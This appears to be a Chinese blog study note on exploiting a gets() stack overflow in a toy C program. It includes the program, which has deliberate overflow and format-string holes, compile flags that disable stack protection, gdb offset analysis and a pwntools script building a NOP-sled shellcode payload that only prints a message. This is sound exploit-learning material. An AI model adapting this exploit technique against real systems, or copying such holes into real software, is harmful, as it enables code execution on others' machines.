gets 函数漏洞执行代码
最近学习了 AFL 工具,同时根据进行了gets函数的漏洞执行代码,具体的原理分析准备以后有时间进行详细分析,目前只是做一个记录,主要内容参考自这里.
环境:kali 4.13.0-kali1-amd64
1. 安装工具peda :
在命令行执行
- git clone https://github.com/longld/peda.git ~/peda
- echo “source ~/peda/peda.py” >> ~/.gdbinit
2. 用gdb 打开目标程序:
- 小程序代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
int vuln(char *str)
{
int len = strlen(str);
if(str[0] == 'A' && len == 16)
{
raise(SIGSEGV);
//如果输入的字符串的首字符为A并且长度为66,则异常退出
}
else if(str[0] == 'F' && len == 6)
{
raise(SIGSEGV);
//如果输入的字符串的首字符为F并且长度为6,则异常退出
}
else
{
printf("it is good!\n");
}
return 0;
}
int main(int argc, char *argv[])
{
char buf[32]={
0};
gets(buf);//存在栈溢出漏洞
printf(buf);//存在格式化字符串漏洞
vuln(buf);
return 0;
}
- 然后用AFL-gcc 编译:
afl-gcc -fno-stack-protector -z execstack c/vul.c -o ./vuln-new ,
注意:目标程序需要用afl-gcc 进行编译,同时在编译时需要设置:
-fno-stack-protector -z execstack 是禁止相关的保护编译设置 - gdb source/vuln
然后在gdb中调试运行: r
3. 将AFL-fuzz 得到的crush 作为输入进行gdb调试
4. 得到程序运行崩溃的详细信息:
其中的崩溃原因为 SIGSEGV/Segmentation fault.
5. 然后查看crush 输入的数据:
发现crush中的数据和gdb中的RSP 寄存器中的数据一样,因此可以修改指定的位置来修改RSP寄存器的值。
6. gdb中在函数返回处下断点进行分析:
7. 新建新的程序输入文件:
- 前40 个字符为A (命令行执行: printf “%0.sA” {1…40} > test3 )
- 中间6个字符为B (命令行执行: printf “%0.sB” {1…6} >> test3 )
- 后两个字符为 ‘\0’ (命令行执行: printf “%0.s\0” {1…2} >> test3 )
- 最后112个字符为C (命令行执行: printf “%0.sC” {1…112} >> test3 )
8. 用hexdump 查看:
9. 将test3 作为程序的输入,可得到:
说明程序会跳转到 0x424242424242 这个地址(也就是我们输入的BBBBBB)去执行,但是这个地址是非法的,所以我们要把这个地址换成我们的shellcode 地址,然后就可以执行我们的shellcode了
10. 构建shellcode 的代码如下:
import struct
from pwn import *
def generate_payload(start_addr,shellcode):
context.arch='amd64'
nop=asm('nop',arch='amd64')
nop1=nop*40
s_code=asm(shellcode)
addr=struct.pack("<Q",start_addr)
payload=nop1+addr+(nop*16)+s_code
return payload
a=0x7fffffffe110
payload=generate_payload(a,shellcraft.amd64.linux.echo("hello,good job \n")+shellcraft.amd64.linux.exit())
# print(payload)
with open("./shellcode-new",'wb') as f:
f.write(payload)
print("generate successfully!")
其中变量a 的值为栈顶的地址,也就是我们的shellcode 代码将执行的地址(代码将在stack 上执行,这也是为什么需要在编译的时候关闭相应的站保护设置),需要根据自己机器中的地址进行改变。
11. 构建shellcode 后,用hexdump 进行查看:
12. 然后再gdb 中用shellcode 作为程序的输入运行程序(依然需要在ret 出下断点):
13. 得到运行的状态如下:
在进行此时的堆栈查看:
与之前hexdump 的shellcode 一致。
14. 可以看出,此时栈顶的数据为地址 0x00007fffffffe110:
15. 因为设置了断点,此时的RIP=0x555555555190 :
在执行ret 操作时,栈顶的数据将会被传递给RIP ,从而程序执行的路径就转到了指定的地址——即堆栈上,而堆栈上是我们的shellcode,shellcode 就被执行。